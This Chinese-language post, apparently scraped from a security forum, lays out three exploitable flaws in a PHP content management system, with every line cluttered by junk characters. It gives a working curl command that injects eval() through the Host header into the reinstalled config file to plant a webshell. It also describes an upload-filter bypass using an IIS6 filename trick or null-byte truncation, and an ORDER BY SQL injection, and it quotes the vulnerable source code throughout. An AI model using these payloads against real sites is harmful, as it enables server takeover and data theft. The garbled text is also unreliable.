注入:% u& j' ` O1 ~1 C! \7 N+ O3 }
C* s$ V" P! z6 [ N之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 U7 ^/ W3 v1 r, H" `
/ b7 w4 I" ^" W1 Y5 `. q1 r鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件5 t, e2 L1 `; A @: m
鸡肋2: 有一定安全常识的站长都会删掉 install 目录6 M) P8 m2 D: ~ v! S
$ r/ S" E% D1 E- s虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
- h7 R, [6 {2 d+ d" V
# P' S1 f2 H7 r$ j5 F分析:& m$ W5 c- C }2 K% s3 _& E
/ Y& F# x2 n/ b6 E, x3 [- a$ E8 P " g* y- Z5 ~* ~0 k8 X$ S
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
/ @# I% p, i- L( L, Q' _$ p
& h" s8 E8 Z' \" b $filestr = fread(fopen($SysConfigFile, 'r'),30000);
}* r# {# z, [0 q) G $filestr=str_replace(" ","",$filestr);$ O5 q7 j0 v! q' I
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
, ~2 \% D/ _ |$ m g4 o $filestr=str_replace("DefaultDbName",$dbname,$filestr);
5 z, P8 b' T* d8 z% O4 {8 {7 u0 I7 ? $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);! H7 k% H K- f7 q" P8 J( v& h9 Z
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
& S& ? r/ C/ s+ n' X5 j $filestr=str_replace("DefaultsLan","zh_cn",$filestr);6 ~3 B: H: c; H9 ^9 U2 ^, a7 [
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 d- y8 W2 u8 w2 ` o* } $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
! N! p. a" ?9 O, P$ {
; x: r& ~8 I2 j& o& a) [- T/ v fwrite(fopen($ConFile,"w"),$filestr,30000);
( ?- h# e" v5 T( V! G$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
) N0 S4 R" ]) O; \* p% l! R . L0 z1 @! v# I4 y) ?
poc:
# ?) f0 s% H* g* H1 m$ y. k) |
! Y) |3 N# x! h6 e! m; m?8 O9 J' ~$ \' I& j- ~3 ]
1/ i6 b6 n, |/ ^# |0 Y8 ~
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"' ?+ Y( G2 {) ]1 A
shell地址: /config.inc.php
1 x. }' I, L: y7 K. x跟之前的 phpcms一样 需要远程数据库
% v+ E* ~8 @: i7 i1 U7 j/ ]2 l
; Q% | q; n7 i8 |1 ~1 x. p——————————————————–( V X" X% J6 G$ Z3 l
上传漏洞(需要进后台):
( T" c X: h. [! W$ g( }漏洞文件: /kedit/upload_cgi/upload.php
; i) N8 r. y- D. v这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
' O. t7 t( c9 ~9 M1 h' J $ {" R8 c% u& e3 [
% H! o e7 R9 I9 j% ]2 F
<?php
( b9 r+ I# \3 Y define("ROOTPATH", "../../");0 _+ K+ [( x9 g* r2 U4 x T P
include(ROOTPATH."includes/admin.inc.php");
6 I% c5 G) {& f- u NeedAuth(0);9 \9 S- H$ V# v& z( P2 Y6 K
+ `& }, C- ?0 S- ?8 P) P( o; r
$dt=date("Ymd",time());# D; S, t5 @7 s u* T
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 x" [9 U' j2 F9 G p @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
; V% i- D" V& [& | }2 Q. i2 F( B: J
* c# ^- `& b/ _' I) r
//文件保存目录路径% f9 V7 S9 @$ G, x# E |' _& s
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';" m$ k% @# p( _; d
echo $save_path;
3 S% N+ E3 z f' g2 ` //文件保存目录URL
7 p; ?' I. n+ z- K/ h $save_url = '../../'.$_POST['attachPath'].$dt.'/';
2 y$ o( S8 h5 g! T D0 |
4 \* v5 `6 G+ L t3 @* \& X //定义允许上传的文件扩展名
4 ~; l2 U! U1 V. S: B0 }9 ^ $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
4 j. i0 A \/ j" ], R . k% n8 o6 c1 [; a- B
//最大文件大小
- ?: y* i. @) ~1 f7 X7 V $max_size = 1000000;
Q2 n# f3 |7 ~0 `, Y) r+ i - M: R9 {1 _* m2 L! l1 }
//更改目录权限& z+ E2 M+ Q* h) A3 e" \
@mkdir($save_path, 0777); `0 m: p {1 h" z# O' ~: I" _1 t! L+ |& B
9 c% w# F( j! q9 g A3 U/ V& Q' m
//文件的全部路径6 W+ f( D9 t$ ]0 \9 J! x
$file_path = $save_path.$_POST['fileName']; //保存文件名- {) w" `/ U/ E: k1 b( ^; z
2 Z$ _. D/ O9 O! Z; {
//文件URL
/ C( j7 j1 @) `$ ?5 h$ W $file_url = $save_url.$_POST['fileName'];
# Y' P7 d6 ]* F//有上传文件时3 X A6 P; ?& n0 Z
if (empty($_FILES) === false) {, w- y' K! J ~
) f. Y9 s$ C6 u: Y' x& Z& v
//原文件名
7 E4 m$ K# `$ @5 ~( E $file_name = $_FILES['fileData']['name'];% [: q% p1 I" ^
//服务器上临时文件名
+ b7 t* v- H6 S* t $tmp_name = $_FILES['fileData']['tmp_name'];8 ^- D4 r' T0 O; ^
//文件大小
0 x& p3 A- m! c6 \: E0 @ $file_size = $_FILES['fileData']['size'];
6 R8 r0 y) n7 o5 d //检查目录. W( ?. y: }" K' _5 a' I
if (@is_dir($save_path) === false) {& O6 Z0 u3 N% Q& V
alert("上传目录不存在。");
" o" z, r! u9 R* g9 z$ |0 ~ }
6 I. J" z6 D! @+ _ //检查目录写权限: E& a2 i4 J' A, v
if (@is_writable($save_path) === false) {: N9 _( f# I7 e2 q. \3 E' ^# x. d* q
alert("上传目录没有写权限。");& {, B2 t: x, S. _* q" s
}
3 ^; o5 l F# Q/ H V) o# Z' [ //检查是否已上传' K! z/ S) j3 @: O/ ], G# Q7 H) p
if (@is_uploaded_file($tmp_name) === false) {1 ^ l" }' R2 h! K: d7 w- v, }
alert("临时文件可能不是上传文件。");
3 J8 _. G$ ~2 n5 f6 G }
" @8 m7 `) f1 j/ P+ f //检查文件大小
) }8 O) {' d: o: _ if ($file_size > $max_size) {
6 v* b8 ?, { r alert("上传文件大小超过限制。");1 n, a2 N+ E. k. g9 `" T6 S8 W( c
}1 p3 a, L8 a5 a: q) [) M$ {
//获得文件扩展名! X8 Z B( ?+ \# |' p
$temp_arr = explode(".", $_POST['fileName']);- t8 N7 z. g( z' [) e6 t: f) `
$file_ext = array_pop($temp_arr);3 J* p6 D T3 E4 j( s. ?8 }/ v
$file_ext = trim($file_ext);' D! n: o4 f" T" p W4 L
$file_ext = strtolower($file_ext);
5 |# i) s2 o4 ~+ g 4 d2 t8 p$ m' @# V0 o% |
//检查扩展名 $ v! e6 y" c: O( T9 \; n
if (in_array($file_ext, $ext_arr) === false) { 2 p6 a' F7 r; i6 g
alert("上传文件扩展名是不允许的扩展名。");. E, t( {3 d& {5 l0 [& h
}. M% @4 ?2 _' ]
* Y! C$ R" G$ F. P& R; i' U
//移动文件
+ x' C5 S* A- p; y. I2 n$ X) p( _ //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
2 u* Y+ C8 }) j0 d5 E) U if (move_uploaded_file($tmp_name, $file_path) === false) {
% M- L3 f" D# W6 { alert("上传文件失败。");( {# j! X y7 A6 M7 L/ {
}
; }! _/ O* l, X+ R$ V2 e8 i ; E# V7 ^) q$ D- w {- G$ S$ Z( L. B
@chmod($file_path,0666); Z0 h* L% |( L( L7 Y
9 }. ]( N: f( K: d3 |
?>
0 s) z) Y# G; K1 g0 Z m抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
- t% E9 w* ^3 m% C1 S0 C- m 1 G% H9 b5 m, A2 y4 ^
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. ?5 \& _; Z9 `- k- {& V# S ( Z+ O* n$ ~1 B( R$ i9 T0 ]
——————————————————( X! t' @* k2 p8 ?7 C
注入漏洞:
r8 o2 H* E# s" ~7 @: K漏洞文件:search/module/search.php, ~, |5 e* l9 q) f0 w/ y
/search/index.php?key=1&myord=1 [sqlinjection]# U1 A: S8 M/ q, u' L3 W
. U& N6 L% x" d* n# ~# `$ \9 d8 H
7 R/ ~- A5 D+ Y- R; s& }+ [! k$ l8 c1 ~
<?php- N3 V7 z% V- y5 B
// ... 省略 n 行...
2 G0 \( q' s5 k2 ?* Z5 J m6 s //第18行:# l0 u0 L1 t: \! J1 o
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
4 P- m/ }8 b( w2 J. y $page=htmlspecialchars($_GET["page"]);. Y6 K9 w8 ~# m9 p
$myord=htmlspecialchars($_GET["myord"]);
1 [) w$ h' ^! d5 b3 C1 U8 { , E0 F: j5 f0 Z; l
// ... 省略 n 行...
# Q/ P5 o2 H' Y $key,$myord 两个参数带入查询- t1 i0 J+ u# M2 t
//第47行 $key:
" }8 H+ F1 }3 Q J6 _; l7 t / l, }' j& M: I/ j
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..; m( z4 f9 `- n/ Z8 J1 g' |
) M: Q* t4 e: a, ]. ] //第197行 $myord
+ n5 |' {9 l: d. I/ H' ^ $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入( J9 ~2 T( a8 \, Y
7 X1 h k# b/ f: E4 S! Z' E# Q
?>9 n/ g* A( u' k7 U
|